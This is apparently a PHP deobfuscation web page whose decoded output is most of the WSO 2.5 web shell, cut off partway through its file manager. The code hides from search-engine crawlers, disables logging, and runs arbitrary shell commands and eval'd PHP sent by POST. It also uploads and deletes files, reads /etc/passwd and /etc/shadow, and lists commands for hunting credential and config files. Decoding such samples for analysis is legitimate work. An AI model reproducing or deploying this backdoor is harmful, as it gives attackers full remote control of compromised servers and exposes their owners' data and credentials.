Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $osfdP = 'bas'.'e64'.'_de'.'cod'.'e'; $RQdEx = 's'.'tr'.'_rot1'.'3'; /*** fqwsxgxwrq..

Decoded Output download

<br>           

if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
if (!function_exists('iconv') && function_exists('mb_convert_encoding')) {
	function iconv($from_encoding, $to_encoding, $string){
		return mb_convert_encoding($string, $to_encoding, $from_encoding);
	}
}
if (!function_exists('iconv')) {
	function iconv($from_encoding, $to_encoding, $string){
		return html_entity_decode(htmlentities($string, ENT_QUOTES, $from_encoding), ENT_QUOTES , $to_encoding);
	}
}

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
	@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(function_exists("get_magic_quotes_gpc")){
	if(get_magic_quotes_gpc()) {
		function WSOstripslashes($array) {
			return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
		}
		$_POST = WSOstripslashes($_POST);
		$_COOKIE = WSOstripslashes($_COOKIE);
	}
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';


$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
		//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan', 'Console'=>'Console','Sql'=>'Sql', 'UPdate/UPgrade' => 'UPDate', 'Php'=>'Php', 'String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v){
		if($k == 'UPdate/UPgrade'){
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')"><font color="#25ff00">'.$k.'</font></a> ]</th>';
		}else{
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
		}
	}
	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		if(function_exists('posix_getpwuid')){
			$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		}else{
			$ow = '';
		}
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
